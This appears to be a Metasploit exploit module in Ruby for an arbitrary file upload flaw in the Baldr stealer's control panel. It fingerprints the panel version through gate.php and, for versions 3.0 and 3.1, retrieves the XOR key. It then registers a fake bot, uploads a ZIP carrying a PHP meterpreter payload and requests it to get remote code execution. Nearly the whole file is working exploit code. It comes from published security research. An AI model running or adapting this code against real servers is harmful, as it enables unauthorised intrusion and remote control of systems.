241 lines
7.5 KiB
Ruby
241 lines
7.5 KiB
Ruby
##
|
||
# This module requires Metasploit: https://metasploit.com/download
|
||
# Current source: https://github.com/rapid7/metasploit-framework
|
||
##
|
||
|
||
class MetasploitModule < Msf::Exploit::Remote
|
||
Rank = ExcellentRanking
|
||
include Msf::Exploit::FileDropper
|
||
include Msf::Exploit::Remote::HttpClient
|
||
prepend Msf::Exploit::Remote::AutoCheck
|
||
|
||
def initialize(info = {})
|
||
super(
|
||
update_info(
|
||
info,
|
||
'Name' => 'Baldr Botnet Panel Shell Upload Exploit',
|
||
'Description' => %q{
|
||
This module exploits an arbitrary file upload vulnerability within the Baldr
|
||
stealer malware control panel when uploading victim log files (which are uploaded
|
||
as ZIP files). Attackers can turn this vulnerability into an RCE by first
|
||
registering a new bot to the panel and then uploading a ZIP file containing
|
||
malicious PHP, which will then uploaded to a publicly accessible
|
||
directory underneath the /logs web directory.
|
||
|
||
Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files
|
||
are encoded by XORing them with a random 4 byte key. This exploit module gets around
|
||
this restriction by retrieving the IP specific XOR key from panel gate before
|
||
uploading the malicious ZIP file.
|
||
},
|
||
'License' => MSF_LICENSE,
|
||
'Author' => [
|
||
'Ege Balcı <egebalci@pm.me>' # author & msf module
|
||
],
|
||
'References' => [
|
||
['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],
|
||
['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],
|
||
['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],
|
||
],
|
||
'DefaultOptions' => {
|
||
'SSL' => false,
|
||
'WfsDelay' => 5
|
||
},
|
||
'Platform' => [ 'php' ],
|
||
'Arch' => [ ARCH_PHP ],
|
||
'Targets' => [
|
||
[
|
||
'Auto',
|
||
{
|
||
'Platform' => 'PHP',
|
||
'Arch' => ARCH_PHP,
|
||
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
|
||
}
|
||
],
|
||
[
|
||
'<= v2.0',
|
||
{
|
||
'Platform' => 'PHP',
|
||
'Arch' => ARCH_PHP,
|
||
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
|
||
}
|
||
],
|
||
[
|
||
'v2.2',
|
||
{
|
||
'Platform' => 'PHP',
|
||
'Arch' => ARCH_PHP,
|
||
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
|
||
}
|
||
],
|
||
[
|
||
'v3.0 & v3.1',
|
||
{
|
||
'Platform' => 'PHP',
|
||
'Arch' => ARCH_PHP,
|
||
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
|
||
}
|
||
]
|
||
],
|
||
'Privileged' => false,
|
||
'DisclosureDate' => '2018-12-19',
|
||
'DefaultTarget' => 0,
|
||
'Notes' => {
|
||
'Stability' => [ CRASH_SAFE ],
|
||
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ],
|
||
'Reliability' => [ REPEATABLE_SESSION ]
|
||
}
|
||
)
|
||
)
|
||
|
||
register_options(
|
||
[
|
||
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
|
||
]
|
||
)
|
||
end
|
||
|
||
def check
|
||
if select_target
|
||
Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")
|
||
else
|
||
Exploit::CheckCode::Safe
|
||
end
|
||
end
|
||
|
||
def select_target
|
||
res = send_request_cgi(
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path, 'gate.php')
|
||
)
|
||
if res && res.code == 200
|
||
if res.body.include?('~;~')
|
||
targets[3]
|
||
elsif res.body.include?(';')
|
||
targets[2]
|
||
elsif res.body.size < 4
|
||
targets[1]
|
||
end
|
||
end
|
||
end
|
||
|
||
def exploit
|
||
# Forge the payload
|
||
name = ".#{Rex::Text.rand_text_alpha(4)}"
|
||
files =
|
||
[
|
||
{ data: payload.encoded, fname: "#{name}.php" }
|
||
]
|
||
zip = Msf::Util::EXE.to_zip(files)
|
||
hwid = Rex::Text.rand_text_alpha(8).upcase
|
||
|
||
gate_uri = normalize_uri(target_uri.path, 'gate.php')
|
||
version = select_target
|
||
# If not 'Auto' then use the selected version
|
||
if target != targets[0]
|
||
version = target
|
||
end
|
||
|
||
gate_res = send_request_cgi({
|
||
'method' => 'GET',
|
||
'uri' => gate_uri
|
||
})
|
||
os = Rex::Text.rand_text_alpha(8..12)
|
||
|
||
case version
|
||
when targets[3]
|
||
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
|
||
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
|
||
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
|
||
end
|
||
key = gate_res.body.to_s.split('~;~')[0]
|
||
print_good("Key: #{key}")
|
||
|
||
data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
|
||
data = Rex::Text.xor(key, data)
|
||
|
||
res = send_request_cgi({
|
||
'method' => 'GET',
|
||
'uri' => gate_uri,
|
||
'data' => data.to_s
|
||
})
|
||
|
||
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200
|
||
print_good('Bot successfully registered.')
|
||
|
||
data = Rex::Text.xor(key, zip.to_s)
|
||
form = Rex::MIME::Message.new
|
||
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")
|
||
|
||
res = send_request_cgi({
|
||
'method' => 'POST',
|
||
'uri' => gate_uri,
|
||
'ctype' => "multipart/form-data; boundary=#{form.bound}",
|
||
'data' => form.to_s
|
||
})
|
||
|
||
if res && res.code == 200
|
||
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
|
||
register_file_for_cleanup("#{name}.php")
|
||
else
|
||
print_error("Server responded with code #{res.code}")
|
||
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
|
||
end
|
||
when targets[2]
|
||
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
|
||
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
|
||
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
|
||
end
|
||
|
||
key = gate_res.body.to_s.split(';')[0]
|
||
print_good("Key: #{key}")
|
||
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
|
||
data << zip.to_s
|
||
result = Rex::Text.xor(key, data)
|
||
|
||
res = send_request_cgi({
|
||
'method' => 'POST',
|
||
'uri' => gate_uri,
|
||
'data' => result.to_s
|
||
})
|
||
|
||
unless res && res.code == 200
|
||
print_error("Server responded with code #{res.code}")
|
||
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
|
||
end
|
||
|
||
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
|
||
else
|
||
res = send_request_cgi({
|
||
'method' => 'POST',
|
||
'uri' => gate_uri,
|
||
'data' => zip.to_s,
|
||
'encode_params' => true,
|
||
'vars_get' => {
|
||
'hwid' => hwid,
|
||
'os' => os,
|
||
'cookie' => '0',
|
||
'pswd' => '0',
|
||
'credit' => '0',
|
||
'wallet' => '0',
|
||
'file' => '1',
|
||
'autofill' => '0',
|
||
'version' => 'v2.0'
|
||
}
|
||
})
|
||
|
||
if res && res.code == 200
|
||
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
|
||
else
|
||
print_error("Server responded with code #{res.code}")
|
||
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
|
||
end
|
||
end
|
||
|
||
vprint_status('Triggering payload')
|
||
send_request_cgi({
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")
|
||
}, 3)
|
||
end
|
||
end
|